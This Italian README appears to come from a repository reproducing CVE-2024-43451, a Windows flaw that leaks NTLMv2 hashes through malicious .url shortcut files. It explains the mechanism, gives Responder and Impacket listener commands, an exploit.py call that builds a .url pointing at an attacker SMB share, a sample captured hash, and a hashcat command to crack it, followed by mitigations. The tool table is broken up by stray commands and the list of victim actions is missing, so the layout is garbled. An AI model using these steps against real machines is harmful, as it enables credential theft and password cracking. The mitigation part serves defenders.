
Riproduzione CVE: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 è una vulnerabilità di spoofing con divulgazione dell'hash NTLMv2 in Windows. Consente a un attaccante remoto non autenticato di divulgare l'hash NTLM della vittima convincendola a interagire con un file di collegamento .url dannoso. La vulnerabilità viene attivata con un'interazione minima dell'utente: è sufficiente fare clic con il tasto destro, eliminare o spostare il file per divulgare l'hash. Ha un punteggio CVSS di 6.5 (Medio) ed è stata sfruttata attivamente in natura. CISA l'ha aggiunta al catalogo Known Exploited Vulnerabilities (KEV).
NTLM (NT LAN Manager) è un protocollo di autenticazione challenge-response utilizzato da Windows. Quando un client tenta di accedere a una risorsa tramite SMB, client e server eseguono un handshake:
NEGOTIATE_MESSAGE contenente le capacità supportate.CHALLENGE_MESSAGE contenente un nonce di 8 byte (challenge del server).AUTHENTICATE_MESSAGE contenente l'hash NTLMv2 — un HMAC-MD5 della challenge combinato con l'hash della password dell'utente, il nome utente e il dominio.Se un attaccante può osservare o innescare un tentativo di autenticazione NTLM verso una macchina che controlla, l'AUTHENTICATE_MESSAGE catturato può essere decifrato offline per recuperare la password in chiaro.
Un file .url è un file di collegamento utilizzato da Internet Explorer e Windows Explorer per memorizzare collegamenti. È un file in formato INI con una sezione [InternetShortcut]. I campi critici per lo sfruttamento sono:
URL= — l'URL di destinazione che Windows aprirà.IconFile= — un percorso UNC opzionale a una risorsa icona. Quando Windows Explorer visualizza il file, tenta automaticamente di recuperare l'icona dalla condivisione remota, innescando un tentativo di autenticazione NTLM verso il server dell'attaccante.L'attaccante crea un file .url con un parametro IconFile che punta a \\attacker-ip\share\icon.ico. Quando la vittima:
Windows Explorer tenta di caricare l'icona dal percorso UNC, inviando l'hash NTLMv2 della vittima al listener SMB dell'attaccante (ad es. Responder).
Tutte le versioni supportate di Windows precedenti all'aggiornamento Patch Tuesday di novembre 2024:
| Tool | Descrizione |
|---|---|
| Responder | Poisoner LLMNR/NBT-NS/mDNS con server SMB integrato per la cattura di hash |
| Impacket |
Usando Responder:
sudo responder -I eth0 -v
Oppure usando Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
Una qualsiasi delle seguenti azioni innesca la divulgazione dell'hash:
Il listener SMB dell'attaccante riceve un hash NTLMv2:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
smbserver.py può essere utilizzato per ospitare una semplice condivisione SMB |
| Inveigh | Strumento di cattura NTLM basato su PowerShell per Windows |
| Mitigazione | Descrizione |
|---|
| Applicare la patch di novembre 2024 | Installare l'aggiornamento di sicurezza Microsoft da KB5044285 |
| Bloccare l'SMB in uscita (porta 445) | Impedire che gli hash NTLM lascino il perimetro di rete |
| Disabilitare NTLM dove possibile | Utilizzare l'autenticazione solo Kerberos |
| Abilitare la firma SMB | Previene gli attacchi relay anche se gli hash vengono catturati |
| Formazione sulla consapevolezza degli utenti | Educare gli utenti a non interagire con file .url inaspettati |
| Limitare la gestione dei file .url | Usare Criteri di gruppo per bloccare l'esecuzione o la consegna via email dei file .url |